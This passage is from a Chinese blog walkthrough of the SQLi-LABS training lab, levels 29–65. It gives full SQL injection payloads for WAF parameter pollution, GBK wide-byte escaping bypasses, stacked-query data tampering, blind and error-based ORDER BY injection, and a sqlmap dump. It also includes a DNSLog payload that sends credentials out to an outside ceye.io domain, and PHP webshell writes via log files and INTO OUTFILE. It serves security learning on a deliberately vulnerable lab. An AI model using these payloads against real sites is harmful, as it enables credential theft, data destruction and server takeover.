    $qs = $_SERVER['QUERY_STRING'];
    $hint=$qs;
    $id1=java_implimentation($qs);
    $id=$_GET['id'];
    whitelist($id1);

    function whitelist($input)
    {
    // 只匹配纯数字
    $match = preg_match("/^\d+$/", $input);
    if($match)
    {
    //echo "you are good";
    //return $match;
    }
    else
    {
    // 匹配失败则跳转到 hacked.php 文件,一个提示并带有返回连接的简单页面
    header('Location: hacked.php');
    //echo "you are bad";
    }
    }

    function java_implimentation($query_string)
    {
    $q_s = $query_string;
    // 以 & 为界将数据分隔
    $qs_array= explode("&",$q_s);

    foreach($qs_array as $key => $value)
    {
    // 取前两个字符判断传入数据是否为 id
    $val=substr($value,0,2);
    if($val=="id")
    {
    // 符合则将数据返回
    $id_value=substr($value,3,30);
    return $id_value;
    echo "<br>";
    break;
    }

    }

    }

    审计代码会发现,whitelist() 函数会判断数据是否为纯数字,其配合 java_implimentation() 使用,而这个函数会将变量 id 的值返回。值得注意的是,如果传入数据的形式为 ?id=1&id=2 时,将只能返回数据为 1,也就是说,这两个函数仅能判断两个相同变量的前者。有意思的是,Apache 只会接受后者,因此直接将 payload 放在最后传入即可,不会受到任何检测与过滤。

  • 所以依然是普通的 payload,只是位置不同而已,如下:

    1
    ?id=1&id=0'union select 1,(select(group_concat(concat_ws(' ~ ',id,username,password)separator'<br>'))from users),3--+

    小提一嘴,此处并非只是出一道简单题而已,而是模拟真实情况中 Tomcat 防火墙服务器加 Apache 网站服务器环境下,由于 Tomcat 对于相同参数只解析第一个而 Apache 只解析最后一个而造成的漏洞。

  • 此外,由于本题 java_implimentation() 函数截取数据时只截取了 30 个字符,因此本题其实还可以这样解:

    1
    ?id=123456789123456789123456789000'union select 1,(select(group_concat(concat_ws(' ~ ',id,username,password)separator'<br>'))from users),3--+

Less-30

GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application

依然是防火墙的题目。

  • 考点还是放在了 login.php 文件中,所以首页还是简单的联合注入即可,不过闭合符合换成了双引号,此处不多赘述。从 login.php 文件的注入也与前一关一致,根据回显的报错信息可以判断闭合符号同样换成了双引号,此处留一个 payload

    1
    ?id=1&id=0"union select 1,(select(group_concat(concat_ws(' ~ ',id,username,password)separator'<br>'))from users),3--+

Less-31

GET - BLIND - IMPIDENCE MISMATCH - Having a WAF in front of web application

还是防火墙,这次副标题都没有变。

  • 同样首页是普通题,考点位于 login.php 文件,唯一的变化还是闭合符号改成了双引号加小括号,此处留个 payload,不多赘述。

    1
    ?id=1&id=0")union select 1,(select(group_concat(concat_ws(' ~ ',id,username,password)separator'<br>'))from users),3--+

Less-32

GET - Bypass custom filter adding slashes to dangerous chars

防火墙暂时就过去了,新页面一如既往,不过底部增加了两行数据。

  • 测试发现,后台会将特殊字符转义,底部两行数据则分别回显用户转义后成功注入的数据以及其十六进制序列。

  • 这时候就有必要用到宽字节注入了,原理是在使用 GBK 编码时,汉字是占用两个字节的。程序在引号与转义符号前加上转义符号,而在这之前若存在可与被加的转义符连成一个汉字的码值,那就等于没被转义了,也就绕过了!值得注意的是汉字 GBK 编码范围为 8140-FEFE,即第一个字节一直大于等于 0x81,而普通 Ascii 字符均小于 %7F,所以不必担心程序认不出来。

  • 当然此前的 payload 并非每个单引号都可以这样绕过,那些为爆出的数据用作分隔符而存在的单引号使用宽字节就会导致语法错误,所幸只表示字符数据的话可以直接使用十六进制序列而不需要单引号。因此本题 payload 如下:

    1
    ?id=0%81'union select 1,(select(group_concat(concat_ws(0x207e20,id,username,password)separator 0x3c62723e))from users),3--+

    其中,单引号码值为 0x27,与笔者使用的 0x81 连接后的码值并不在 GBK 汉字编码的范围内。这是一个特殊范例,笔者借此说明该解法的重点是宽字节,而并非汉字。不过实际上还是放在汉字编码范围内比较稳妥,比如使用 0x800xFF 时便不会被解析为宽字节。

Less-33

GET - Bypass AddSlashes()

小变了一个色号,此外并无改变。

  • 经过测试,本题同样将引号与转义符号给转义了,甚至可以说是两题一模一样。不过由副标题可知,本题使用的是 addslashes() 函数,该函数功能为将预定义符号转义,其中预定义的符号有单双引号、转义符以及 NULL。也就是说,果然还是可以跟上一题一样,实测上一题的 payload 就可以绕过,此处不做赘述。

Less-34

POST - Bypass AddSlashes()

POST 限时返场!

  • 虽然换成了 POST 方法,但是其仍然只是将引号与转义符给转义了,由副标题可知是使用 addslashes() 函数完成的。所以与前文一样使用宽字节绕过即可,不过既然是 POST,自然就无法像 URL 一样直接使用百分号加编码就行,毕竟人家是正儿八经的数据,百分号就是百分号而已,后面会用 %25 来替换掉的。所以我们需要一个满足条件的字符来完成绕过,这个时候全角符号就排上用场了。比如人民币的符号 ,相当于 URL 中的编码 %EF%BF%A5,占用三个字节,在解析为 GBK 编码时,前两个字节就组成了一个汉字,而最后一个大小也很符合,可以与后面的转义字符结合成一个汉字,完美绕过。

  • 所以在用户名处输入如下 payload 密码随意,就可爆出数据。

    1
    ¥'union select 1,(select(group_concat(concat_ws(0x207e20,id,username,password)separator 0x3c62723e))from users)#

    值得注意的是,本题的后台 SQL 语句仅查询了用户名和密码两个字段的数据,因此联合查询的时候只能查询两个字段。

  • 当然,直接抓包将 %81 放上去也是可以的,完整 payload 如下。

    1
    uname=%81%27union+select+1%2C%28select%28group_concat%28concat_ws%280x207e20%2Cid%2Cusername%2Cpassword%29separator+0x3c62723e%29%29from+users%29%23&passwd=%C2%B7&submit=Submit

    显然这样还是不够优雅。

Less-35

GET - Bypass Add Slashes (we dont need them) Integer based

再次回到 GET 方法,底部变成了一行,也就是不回显十六进制码值了。

  • 本题与此前一样,都是会对特殊字符进行转义,不过,由以下 payload 可知该注入点为数字型注入,因此我们甚至可以不用引号。

    1
    2
    ?id=1 and 1=2
    ?id=1 and 1=1
  • 所以就可以使用如下 payload 爆出数据,其中作为分隔符的部分依然使用十六进制序列来代替。

    1
    ?id=-1 union select 1,(select group_concat(concat_ws(0x207e20,id,username,password) separator 0x3c62723e) from users),3--+

Less-36

GET - Bypass MySQL_real_escape_string

底部十六进制序列的回显再次回归。

  • 本题依旧会对特殊符号进行转义,由副标题提示本题应该使用的是 MySQL_real_escape_string 对数据进行转义操作,该函数除了会对引号与转义符进行转义以外,还会换行回车以及 NULL 等字符进行转义,不过其中并不包括空格,因此对于我们来说效果与此前关卡一致。因为闭关符号也为单引号,所以本题依然可以使用 Less-32payload,这里留一个使用全角字符 来绕过的 payload

    1
    ?id=0¥'union select 1,(select(group_concat(concat_ws(0x207e20,id,username,password)separator 0x3c62723e))from users),3--+

Less-37

POST - Bypass MySQL_real_escape_string

该板块的最后一题,配色突然悲惨了起来。从副标题来看,本题应该只是改变了数据的获取方式。

  • 实测确实还是转义了特殊符号,根据前一题可知本题还是可以使用 Less-34 的解法,payload 不需任何更改,故此处不再赘述。

堆叠注入

Less-38

GET - Stacked Query Injection - String

进入堆叠注入时代!第一题就回到了简单的 GET 页面。

  • 经过测试,本题貌似并没有设置任何过滤,仅仅要爆出数据的话,可以说与 Less-1 一模一样,使用相同 payload 即可爆出所有数据。不过作为堆叠注入,其最大的优势在于可以执行所有 SQL 语句。也就是利用分号将语句分隔,这样后台执行时就可以执行多条语句。查看源码可知,为了实现堆叠注入,执行 SQL 语句的函数换成了 mysqli_multi_query()

  • 所以此处尝试使用堆叠注入尝试对后台数据库进行增删改查操作。首先使用 insert into 语句插入数据,payload 如下:

    1
    ?id=1';insert into users(id,username,password) values(1314,'myr','520');

    接下来查询表中数据验证插入是否成功,由于一般程序仅会回显第一条语句的结果(包括本靶机),因此堆叠注入在这一块并没有那么好用,故此处使用联合注入来查询数据(也就是 Less-1payload),查询结果如下图,可以看到笔者插入的数据已经成功出现在数据库中。

    然后尝试使用 update 语句修改数据库中的数据,payload 如下:

    1
    ?id=1';update users set username='mtm' where id=1314;

    同理,删除数据则使用如下 payload 即可:

    1
    ?id=1';delete from users where id=1;
  • 此外,国光师傅的博客 在本题介绍了额外两个堆叠注入的有趣用法,笔者在此也复现一下:

    1. DNSLog 数据外带

      DNSLog 实际上就是控制一个域名,将查询出的数据与该域名拼接成下一级域名,当访问时虽然大概率无法访问成功,但是访问记录会存在于日志中,因此只需获取访问记录便可在域名中发现数据。很有意思的玩法,只可惜此处需要在 Windows 平台上才能利用,因为这需要用到 Windows 上的 UNC 路径,其主要用于指定和映射网络驱动器。原理是利用 MySQL 的 load_file() 函数来沿着参数指定的路径读取数据,我们将改路径替换为 UNC 网络路径,程序便会访问这个地址,然后我们便可以获得数据。UNC 路径格式如下:

      1
      \\[服务器名]\[共享资源名称]

      于是按如下 payload 拼接数据并访问便可完成数据外带,笔者使用的 DNSLog 平台为 CEYE,由于 DNSLog 存在长度限制,故此处逐行爆出数据。

      1
      ?id=1';select load_file(concat('\\\\',(select hex(concat_ws('%20 -%20 ',id,username,password)) from users limit 0,1),'.zyj4av.ceye.io\\h-t-m'));

      值得注意的是,因为 \ 符号需要转义才能正常使用,所以 payload 才会出现一堆的 \。同时因为并不需要真正访问资源,所以共享资源名称处可以随意。此外还有 hex() 函数,由于域名中不能带有特殊字符,所以一般进行一次编码,获取数据时解码一下即可。

    2. 开启日志 Getshell

      这个玩法就有点像文件上传了,通过修改日志的路径为可通过 URL 访问的位置上(也就是修改 general_log_file 变量),日志文件名则为可被解析执行的文件,例如 PHP 文件。使用如下 payload 即可修改,由于一般情况下日志功能并没有被开启,因此此处先将 general_log 设置为 ON

      1
      ?id=1';set global general_log = "ON";set global general_log_file='/var/www/html/muma.php';

      然后在查询语句中包括 PHP 语句,日志也就变成了一个木马。

      1
      ?id=1';select <?php phpinfo();?>;

      此时再访问对应位置的 muma.php 文件即可,不过由于文件由 MySQL 完成创建及访问,默认也是属于 MySQL 用户组,因此直接访问的话会报 500 错误。也就是说如果笔者一开始设置权限时将服务器与数据库默认值归在一个用户组的话就被自己 Getshell 了,有点子危险。当然为了测试效果笔者还是将该文件的其他用户权限设为了可读,实测可行。

Less-39

GET - Stacked Query Injection - Intiger based

变了个色号,从副标题看应该只是变了闭合方式。

  • 实测确实与前一关基本一致,由回显报错信息可确认为数字型注入,因此将前一题对应的单引号去掉即可将一切 payload 应用于本题,如下为插入数据的 payload

    1
    ?id=1;insert into users(id,username,password) values(1314,'myr','520');

Less-40

GET - BLIND based - String - Stacked

再次换个色号。

  • 依旧换汤不换……啊换了闭合符号,而且不再报错了,有以下 payload 可确认闭合符号为单引号加小括号。

    1
    ?id=1')--+

    剩下的就与之前的一致了,这里留一个插入数据的 payload

    1
    ?id=1');insert into users(id,username,password) values(1314,'myr','520');

Less-41

GET - BLIND based - Intiger - Stacked

哟,少见的粉。

  • 本题依旧仅修改了闭合符号并且,由如下 payload 可知没闭合符号了,数字型注入。没有多少特别的,此处不再赘述。

    1
    ?id=1--+

Less-42

POST - Error based - String - Stacked

回到了自 Less-24 初登场后首次出现的登录页面。

  • 经过测试,底部忘记密码与注册功能均无效,因此只能在登录框施展手脚。而用户名处则做了过滤,但是密码处则没有过滤,甚至还可以回显报错信息,根据报错信息可以判断闭合符号为单引号。所以在密码处输入如下万能密码即可成功登录:

    1
    1' or 1#

    但是如图只能登录数据库中的第一个账户,毕竟后台是单次查询的永真式,所以用户名已经不起任何作用了。

  • 此外,由于回显的用户名也是来自于单次查询的结果,因此若通过联合注入在用户名处构造我们需要的数据,便可通过浏览器爆出来,payload 如下:

    1
    ' union select 1,(select group_concat(concat_ws('  -  ',id,username,password) separator '<br>') from users),3#
  • 不过都能显示报错信息了,所以也可以使用报错注入来爆出数据,在密码一栏输入如下 payload 即可获得 emails 表中的第一栏数据。

    1
    1' and extractvalue(1,concat('~ ',(select concat_ws('  -  ',id,email_id) from emails limit 0,1),' ~'))#
  • 当然,既然是堆叠注入时代了,本题堆叠注入还是不在话下的,使用如下 payload 即可在数据库中插入数据。

    1
    1';insert into users(id,username,password) values(1314,'myr','520');

Less-43

POST - Error based - String - Stacked with twist

换个色号继续来。

  • 实测本题与前一关几乎一致,通过报错信息可以看出闭合符号换成了单引号加小括号,仅此而已。此处不再赘述。

Less-44

POST - Error based - String - Stacked - Blind

可能是换了个色号的。

  • 本题变化依旧不大,就是不再回显报错信息了,但是可以很容易确定闭合符号为单引号,因此此处不再赘述。

Less-45

POST - Error based - String - Stacked - Blind

小变了一下色号,但是这次竟然副标题都不变了。

  • 同前一关一样,没有了报错信息,但依然可以很容易确定闭合符号为单引号加小括号,因此此处不再赘述。

Less-46

GET - Error based - Numeric - ORDER BY CLAUSE

重大变化,POST 时代暂时过去了,界面也与以往的 GET 时代界面不同。

  • 本题要求提交 sort 数据,根据实测不难发现,此处提交字段名后便会回显按对应字段排序的结果集。通过在结尾增加 descasc 可帮助判断此处是否能注入。

    不难推测后台查询语句大概率如下:

    1
    SELECT * FROM users ORDER BY [输入字段名];
  • 因此本题需要在 order by 之后完成注入,这就与之前都有些不同了,主要还是不能直接使用联合注入了。不过报错注入还是可以与往常一样,使用如下 payload 即可查出 emails 表的第一行数据。

    1
    ?sort=1 and (select 1 from (select count(*),concat((select concat_ws('%20 -%20 ',id,email_id) from emails limit 0,1),floor (rand(0)*2))x from users group by x)a)--+
  • 此处还可以使用 procedure analyse 参数来报错注入,值得注意的是该参数还可以用于 limit 运算符之后的注入,payload 如下:

    1
    ?sort=1 procedure analyse(extractvalue(1,concat('~ ',(select concat_ws('  -  ',id,email_id) from emails limit 0,1),' ~')))--+

    不过很可惜,笔者实测在 MySQL 5.6 及后续版本中,已经无法在 analyse() 内完成 select 操作了,使用函数来查查数据库版本啥的还是可以的。但是在 MySQL 8 以后已经彻底删除 procedure analyse 了,所以完全不能用了。不过在 MariaDB 中并没有跟进删除(笔者当前版本为 10.6.5),虽然也不能完成 select 操作。

  • 当然本题也能使用盲注,但是笔者实测 order by 后直接加比较式并不能按预期排序,所以我们需要添加一个 rand() 函数,将比较结果作为该函数的参数,便会根据比较情况返回不同排序的结果集,布尔盲注与延时盲注的 payload 如下:

    1
    2
    3
    4
    5
    // 布尔盲注
    ?sort=rand(ascii(substr(database(),1,1))=78)

    // 延时盲注
    ?sort=rand(if(ascii(substr(database(),1,1))>78,1,sleep(5)))
  • 此处也依然可以使用 into outfile 将结果保存至指定文件中,使用如下 payload 即可将数据放入网站根目录,当然这是在笔者环境中 MySQL 对该目录有写权限的前提下。

    1
    ?sort=id into outfile "/var/www/html/data.txt"

    数据写入完成后直接在浏览器中访问该文件即可,此方法在网页不回显或者不完全回显数据的情况下效果还是非常显著的。不过有意思的是,后面再加上 lines terminated by 便可以写入我们指定的内容了,当然也可以使用 fields terminated by,区别就是 lines 是在每行结束加上指定内容,而 fields 则是在每个字段后都加上。 值得注意的是添加的内容需要以十六进制序列形式传入,然后就可以写木马了!写入 <?php phpinfo(); ?>payload 如下:

    1
    ?sort=1 into outfile "/var/www/html/muma.php" lines terminated by 0x3c3f70687020706870696e666f28293b203f3e

Less-47

GET - Error based - String - ORDER BY CLAUSE

从副标题来看接下来还得继续几关的 ORDER BY.

  • 程序依然会回显爆出信息,可以判断注入点加上了单引号作为闭合符号,这也是相较于前一关唯一的区别了,所以在 payload 相应位置添加单引号即可拿下本题,此处不再赘述。

Less-48

GET - Error based - Blind - Numeric - ORDER BY CLAUSE

本题一打开就是 Less-47 的 LOGO,应该是原作者放错了,这里小改一下,不然 48 的 LOGO 都没出场过太可怜了。

  • 本题主要变动还是不再回显报错信息了,注入点依旧是数字型,所以无法使用报错注入,但是其他的 payload 均与 Less-46 中一致,此处不再赘述。

Less-49

GET - Error based - String - Blind - ORDER BY CLAUSE

本题依旧没换 LOGO,笔者还是让他露个脸。

  • 依然不回显报错信息,增加了单引号作为闭合符号,所以除了不能报错注入,其余均与 Less-47 一致,此处不再赘述。

Less-50

GET - Error based - ORDER BY CLAUSE - Numeric - Stacked Injection

开始加入堆叠注入内容。

  • 本题可以回显报错信息,为数字型注入,查看源码可知后台再次用上了 mysqli_multi_query 函数,因此可以完成堆叠注入,当然解题步骤还是可以参考 Less-46Less-38,此处不再赘述。

Less-51

GET - Error based - ORDER BY CLAUSE - String - Stacked Injection

换个色号继续来。

  • 本题依旧可以回显报错信息,唯一的变化是增加了单引号作为闭合符号。相应修改 payload 即可,此处不再赘述。

Less-52

GET - Blind based - ORDER BY CLAUSE - Numeric - Stacked Injection

再换个色号。

  • 本题取消了报错回显,注入点回到了数字型注入,所以除了不能报错注入以外其他还是老样子,此处不再赘述。

Less-53

GET - Blind based - ORDER BY CLAUSE - String - Stacked Injection

堆叠注入最后一关了!

  • 本题依旧没有没有报错回显,注入点再次增加了单引号,此外再无变化,故不再赘述。

进阶挑战

Less-54

GET - challenge - Union - 10 queries allowed - Variation 1

最后一个板块了,一点进来就能感受到非常不同。上方提示我们通过 GET 方法提交变量 id,中间提示我们需要获取 secret key 的值,而该数据仅存在于数据库 challenges 中,共有十次机会,超过之后包括列名表名在内的所有数据都会被重置。有意思起来了。

  • 十步获取数据,就以往的经验来说应该是够的,首先判断注入点的闭合符号,程序不回显报错信息,但是可以由以下 payload 可确定闭合符号为单引号。

    1
    ?id=1'--+
  • 接下来判断查询的字段数,由以下两个 payload 可确定有 3 个字段。

    1
    2
    ?id=1' order by 3--+
    ?id=1' order by 4--+
  • 然后判断回显位,由以下 payload 可确定第二位作为用户名回显而第三位作为密码回显。

    1
    ?id=-1' union select 1,2,3--+
  • 然后查询数据库中的唯一的一张表名,payload 如下,当前笔者的表名为 QXUI9B6YM1,由于每十次就会重置,因此如果后续不小心超了就只能重新查了。

    1
    ?id=-1' union select 1,2,(select group_concat(table_name separator '<br>') from information_schema.tables where table_schema='challenges')--+
  • 获得表名之后再继续查字段名,payload 如下,当前笔者的四个字段名分别为 idsessidsecret_4OH5tryy

    1
    ?id=-1' union select 1,2,(select group_concat(column_name separator '<br>') from information_schema.columns where table_name='QXUI9B6YM1')--+
  • 接下来就直接一口气爆出整个表的数据,payload 如下,

    1
    ?id=-1' union select 1,2,(select group_concat(concat_ws('%20 -%20 ',id,sessid,secret_4OH5,tryy) separator '<br>') from QXUI9B6YM1)--+

    表中仅有一行数据,其中第三列也就是 secret_XXXX 的数据就是我们需要的 secret key。通关之后就会收到以下祝贺,祝贺一会儿就会消失,笔者完成了两次才截到。

    值得注意的是,由于仅涉及表名、字段名及数据的重置变化,因此理论上限制可以压缩至三部,当然对于闭合符号、字段数以及回显位的判断可能需要重置几次。

Less-55

GET - challenge - Union - 14 queries allowed - Variation 2

界面变化不大,主要提示本次可尝试次数为 14

  • 实测本题与前一关基本一致,由以下 payload 即可确定闭合符号为小括号。

    1
    ?id=1)--+

    闭合符号变了所以也就额外送了几次机会,不过这并不影响解题,修改前一关的 payload 的闭合符号即可,此处不再赘述。

Less-56

GET - challenge - Union - 14 queries allowed - Variation 3

貌似又进入了换色号阶段,页面与前一关相比还是只换了个色号。

  • 本题依旧与前述关卡基本一致,由以下 payload 可知闭合符号换成了单引号加小括号。

    1
    ?id=1')--+

    除此之外并无改动,因此还是修改之前 payload 即可解题,此处不再赘述。

Less-57

GET - challenge - Union - 14 queries allowed - Variation 4

换了个色号,继续来。

  • 本题依旧与前述关卡基本一致,由以下 payload 可知闭合符号换成了单引号。

    1
    ?id=1'--+

    除此之外并无改动,因此还是修改之前 payload 即可解题,此处不再赘述。

Less-58

GET - challenge - Double Query - 5 queries allowed - Variation 1

重大更新,限制次数低达 5 次!

  • 本以为本题与此前关卡一致,但是测试正常提交 id 时情况就不太对了,用户名与密码跟预期的不太一样了。

    当然将所以数据全部测试一遍是可以发现规律的,毕竟 58 关走过来这些数据都是老朋友了,此处简略一些,直接看源码:

    1
    2
    3
    4
    $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
    $pass = array_reverse($unames);
    echo 'Your Login name : '. $unames[$row['id']];
    echo 'Your Password : ' .$pass[$row['id']];

    不难看出输出的用户名和密码都取自于内部定义的数组,并且逆序搭配起来输出,等于回显的数据与查询结果一点关系都没有。

  • 因此联合注入是彻底靠不住了,不过上帝为你关上…(误),继续测试网页不难发现本题可以回显报错信息,因此报错注入还是可行的。首先一个反斜杠就能确认闭合符号为单引号,然后就能构造报错来爆出字段名了,payload 如下,由于此时已经是查询 challenges 数据库的内容了,所以构造报错语句就不能直接使用 users 表了,这里示范改成 information_schema.tables

    1
    ?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 由上述 payload 可以查出笔者当前表名为 N4JL95Q7I2,随后使用如下 payload 即可查出关键字段名为 secret_QX4R

    1
    ?id=1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='N4JL95Q7I2' and table_schema='challenges' limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
  • 获得字段名之后就可以安心拿数据了,payload 如下:

    1
    ?id=1' and (select 1 from (select count(*),concat((select concat_ws('  -  ',secret_QX4R,id) from N4JL95Q7I2 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

Less-59

GET - challenge - Double Query - 5 queries allowed - Variation 2

换了个色号。

  • 本题与前一关基本一致,用户名密码不作参考但是可以回显报错信息,因此依然使用报错注入即可,通过反斜杠即可确认本题为数字型注入,删去前一关 payload 中的单引号即可完成本题,此处不再赘述。

Less-60

GET - challenge - Double Query - 5 queries allowed - Variation 3

少见的颜色。

  • 本题与此前关卡基本一致,区别在于闭合符号换成了双引号加小括号,修改此前的 payload 即可,此处不再赘述。

Less-61

GET - challenge - Double Query - 5 queries allowed - Variation 4

再换个色号。

  • 闭合符号又被换了,这次略复杂,单引号加两个小括号,不过直接反斜杠还是可以一把确认,其余均与此前一致,故此处不再赘述。

Less-62

GET - challenge - Blind - 130 queries allowed - Variation 1

重大变化,限制次数变成了 130

手工注入

  • 整体来说基本与此前关卡一致,不过闭合符号变成了单引号加小括号,但是还有一个致命的问题在于,报错信息的回显被取消了,因此本题将需要盲注,难怪限制次数会变成 130 次。工程量有些大,此处留一个最终查询的 payload 作为示范,详细步骤可参考 Less-8

    1
    ?id=1') and ascii(substr((select secret_8J6V from 6V6AG5ZFIE limit 0,1),1,1))>78--+

SQLMap 工具注入

  • 这种时候还是得让工具出马,由于限制了次数,因此需要指定盲注,防止工具浪费机会,命令如下:

    1
    sqlmap -u http://[靶机地址]/Less-62/?id=1 -D challenges --dump --batch --technique B

Less-63

GET - challenge - Blind - 130 queries allowed - Variation 2

又到了换色号时间。

  • 本题与前一关基本一致,就是闭合符号变成了单引号,修改 payload 即可,当然工具注入的话只需修改到本题地址就行了,此处不再赘述。

Less-64

GET - challenge - Blind - 130 queries allowed - Variation 3

换个色号继续来。

  • 本题依旧与此前关卡基本一致,但是闭合符号变成了两个小括号,其余均未作修改,故此处不再赘述。

Less-65

GET - challenge - Blind - 130 queries allowed - Variation 4

万万没想到竟然已经最后一题了。

  • 本题当然还是与此前关卡基本一致,就是闭合符号变成了双引号加一个小括号,其余均未作修改,故此处不再赘述。

后记

  本篇博客工期长得恐怖,中途一度烂尾,但是实际上集中做了几天貌似并不用花太久时间,所以我到底在干嘛。所幸最终还是完成了,顺带产出的还有一个 小项目,也许也称不上项目。正如正文所言,笔者使用的环境为 PHP 8.1 的环境,与旧版靶机存在很大出入,所以也进行了一定程度的修改。毕竟还是为了刷完靶机,也就顺便对修改作了一遍完整的校验,对新特性适配的同时也对前辈修改的遗漏之处做了补充。修改版还是在 GitHub 存一份,实在舍不得直接删掉。

  用写博客来督促自己刷题,结果就是笔者竟然写了一篇四万字的博客。总体来说 SQLi-LABS 并不算特别困难,毕竟很大一部分题目都是冗余的,但循序渐进的过程还是很适合小白入门的(也就是我)。笔者做完之后还是受益匪浅呀,一开始连 union 都玩不明白,现在都能直接手写好多 payload 了,顺带上对环境的研究,现在笔者设备上常驻各版本的 PHP 以及 MySQL。此外,因为一开始执着于配图,所以甚至 PS 技术也同步提高了(误)。

  本篇博客还是以手工注入为主,仅涉及了部分工具基础用法,虽说用工具是没有灵魂的,但是盲注直接交给 SQLMap 还是很爽的。

  有意思的是,笔者完成之后才知道有一份十分完善的 MySQL 注入天书,然而欣赏过后才发现,其实哪里都是这份文档,笔者参考过的大部分文章均参考于此,不得不说有这么一份完善的文档真的可以帮助很多新人越过最难的一道坎,这也许也是开源世界最大的意义吧,让后人永远能站在前人的肩膀上。希望这篇日志式的刷题记录,也能够在某个时间某个角落拯救一个新人。

参考链接

  1. PHP 手册- Manual,2022-06-30
  2. web渗透测试----26、SQL注入漏洞--(1)原理篇- 七天啊,2022-05-30
  3. SQL注入原理及如何判断闭合符- 大大大蜜蜂,2021-09-30
  4. SELECT 1,2,3...的含义及其在SQL注入中的用法- huhuf6,2020-09-20
  5. MySQL中concat()、concat_ws()、group_concat()函数的使用技巧与心得总结- 极客小俊GeekerJun,2020-09-21
  6. sql注入系列Sqli-labs(less-1)- m0d1fy,2021-11-30
  7. sqlmap使用手册- 山山而川,2022-02-25
  8. MySQL 5.7 参考手册
  9. SQL字符型注入(get)-利用updatexml函数-报错注入- 身高两米不到,2021-08-12
  10. Mysql报错注入之floor(rand(0)*2)报错原理探究- N0r4h,2020-04-29
  11. Mysql深度讲解 – 派生表- Smallc0de,2020-12-22
  12. sql注入-5floor报错注入- 技术骨干小李,2022-07-20
  13. sqli-labs练习(第五、六关)- 宸寰客,2020-07-21
  14. Less-7(文件读写操作)- 老司机开代码,2020-08-03
  15. 网络应用安全- GitBook
  16. SQLI labs 靶场精简学习记录- 国光,2020-05-13
  17. MariaDB 官方文档 —— secure_file_priv
  18. get_magic_quotes_gpc 检测是否开启转义函数,5.4版移除后该怎么办?- hello_HON,2020-05-07
  19. 宽字节注入深度讲解- 锦瑟,无端,2021-12-18
  20. GBK 编码表- 千千秀字
  21. Dnslog在SQL注入中的实战- 奇安信威胁情报中心,2018-02-09
  22. MySQL 注入天书- lcamry,2016-08-11